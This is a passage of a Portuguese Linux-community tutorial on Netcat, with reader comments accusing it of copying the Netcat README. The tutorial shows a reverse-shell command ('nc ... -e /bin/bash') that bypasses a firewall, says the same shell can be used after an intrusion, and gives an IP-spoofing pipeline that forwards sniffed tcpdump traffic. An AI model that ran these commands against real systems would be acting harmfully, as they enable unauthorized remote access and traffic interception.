Tutorial Netcat

Esse tutorial mostra as funções do famoso Netcat, mais conhecido como canivete suíço do TCP/IP. Com ele você poderá testar a segurança da sua rede e evitar futuros problemas.

[ Hits: 186.160 ]

Por: thorking em 10/04/2007


Telnet reverso com NetCat



Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Também possuem algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes não tem um IP válido que podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp não poderia ser usado.

Por exemplo, temos um servidor que aceita apenas conexões externas na porta 80, mas não tem um IP externo válido. O computador de casa provavelmente possui um IP real válido e portas que podem ser abertas ou fechadas conforme a necessidade. Invertendo as direções das conexões pode-se resolver esse problema: basta fazer o computador do escritório conectar no computador de casa, recebendo comandos do cliente a executando-os no servidor. Essa técnica é conhecida como Telnet Reverso.

Vamos chamar o computador do escritório de WORK e o computador de casa HOME. Se o computador HOME for configurado para usar IP dinâmico, precisaremos de um nome para DNS dinâmico, tipo o serviço fornecido pela dyndns.org. No computador WORK configuramos um job cron para iniciar às 19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sessão bash. Para isso, em casa deve-se iniciar (antes das 19:00) o netcat das seguinte forma:

# nc -vv -l -p 80

Às 10:00, WORK conecta ao HOME, inicia o bash e está pronto para executar qualquer comando que queremos.

Testando o telnet reverso na nossa rede virtual:

Para colocar o cliente (HOME) em modo de espera, escutando uma conexão:

# nc -vv -l -p 80
Listening on any address 80

Para conectar a partir do servidor (WORK):

# nc 10.0.1.1 80 -e /bin/bash

Essa técnica é bem simples e eficiente, pois usa somente a porta 80, que dificilmente estará bloqueada no firewall. A partir do computador HOME você pode enviar comandos para o WORK e receber o resultado localmente.

Além disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois de uma invasão.

Você pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexão é HTTPS, você pode usar o tunnel para tunelar o nc, ou apenas o próprio stunnel. Para mais detalhes veja a man page do stunnel:

$ man stunnel

A sintaxe do comando deverá ser algo parecido com a seguinte linha:

$ (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port

IP Spoofing

Usando o netcat você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo UDP. O comando deverá ser tipo:

$ tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port>

Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de rede:

$ ifconfig eth0:N spoofed_ip

Onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo spoofed, já que o mesmo endereço IP é propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping.

Agradecimentos finais

Gostaria de agradecer ao Google, que é uma grande fonte de conhecimento, aos meus amigos Seth, Mobster, JP, Chemonz, que sempre me ajudaram quando tinha alguma dúvida, tendo uma paciência de Jó e o mais importante à Deus.

Fonte de consulta:
Página anterior    

Páginas do artigo
   1. Introdução ao Netcat
   2. Algumas funções do Netcat
   3. Transferindo arquivos com NetCat
   4. Telnet com Netcat
   5. Portscanning com NetCat
   6. Telnet reverso com NetCat
Outros artigos deste autor
Nenhum artigo encontrado.
Leitura recomendada

SELinux na prática

Como assinar digitalmente um documento criado no Br/OpenOffice

TrueCrypt Forever

O que é ForceCommand

Impedindo o compartilhamento de conexão

  
Comentários
[1] Comentário enviado por brunokino em 10/04/2007 - 01:43h

Poxaaa..
Muito bom..
eu estava procurando um artigo sobre netcat e acabei de encontrar hehehe..
Obrigado.

Bruno Kinoshita

[2] Comentário enviado por y2h4ck em 10/04/2007 - 15:50h

Cara, me desculpe, isso me parece uma tradução resumida ( bem resumida ...) do README original do Netcat, sem nada de novo ... Pelo conceito do artigo outras pessoas pensaram o mesmo porem não exteriorizaram ..


[]s.

[3] Comentário enviado por hugoalvarez em 10/04/2007 - 16:31h

Isso me parece um ctrl+c / ctrl+v da fonte consultada isso sim.

[4] Comentário enviado por y2h4ck em 10/04/2007 - 17:38h

Nossa agora que eu vi a tal fonte consultada, até os ips do exemplo são os mesmos.
Ae galera da moderação, não viram isto ?

Como não foi googlado ?




[5] Comentário enviado por EnzoFerber em 10/04/2007 - 21:49h

Cara...

Sem querer ser redundante, mas sendo:

1. A documentação do netcat tem tudo isso!

2. Já existe um artigo sobre netcat no VOL: http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=2215

[6] Comentário enviado por Iron Fist em 11/04/2007 - 10:30h

cópia.

[7] Comentário enviado por fredwind em 11/04/2007 - 18:33h

Galera! vamo com calma, o rapaz so quiz contribuir e toda ajuda, desde que contribua para o crescimento da comunidade, sera bem vida.
thorking obrigado por contribuir!

[8] Comentário enviado por thorking em 12/04/2007 - 03:18h

em algum lugar disse que era de minha autoria?

obrigado windboy!

[9] Comentário enviado por y2h4ck em 12/04/2007 - 10:20h

Windboy,

Não estamos questionando aqui se o sr. thorking quis ajudar ou não. Conhece aquele velho ditado "De boas intenções está cheio o inferno"?

O que está se questionando aqui é o seguinte, os Artigos do vivaolinux sempre passaram por um crivo afiado para serem publicados, pelo menos na época que eu publiquei meus primeiros artigos era uma bem rigido o processo, mas isto garantia um bom conteúdo postado. Hoje a coisa ta escancarada, por exemplo esse artigo do Netcat é uma tradução resumida do README.txt que vem no arquivo .tar.gz do Netcat.


E o Pior o cara ainda colocou este artigo colando de um artigo ja publicado na internet igualzinho. Acho que o Vol não nasceu para ser espelho de internet, para isto ja existe o Google.

MODERADORES: Vejam estes artigos que tem sido postados ultimamente, estou vendo muita coisa que talves se vocês estivessem sendo mais críticos poderiam até ser melhorados.

Se a coisa for descambar para cada vez ficar mais permissivas as postagens o VOL vai perder o brilho dele, porque so vai ter repeteco...

[10] Comentário enviado por codebr em 16/02/2012 - 14:49h

Boa tarde,

Excelente seu tutorial, me motivou a aprender mais sobre o netcat.

obrigado.

[11] Comentário enviado por bdmstyle em 14/10/2014 - 16:04h

Ficou muito bom ou artigo não ligue para os críticos, so de traduzir para o português e se dar o trabalho de fazer isso ja foi ótimo, tem muita gente que não teve dinheiro para estudar inglês pode aprender graças as essas iniciativas.

quem critica demais é por que não ajuda.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts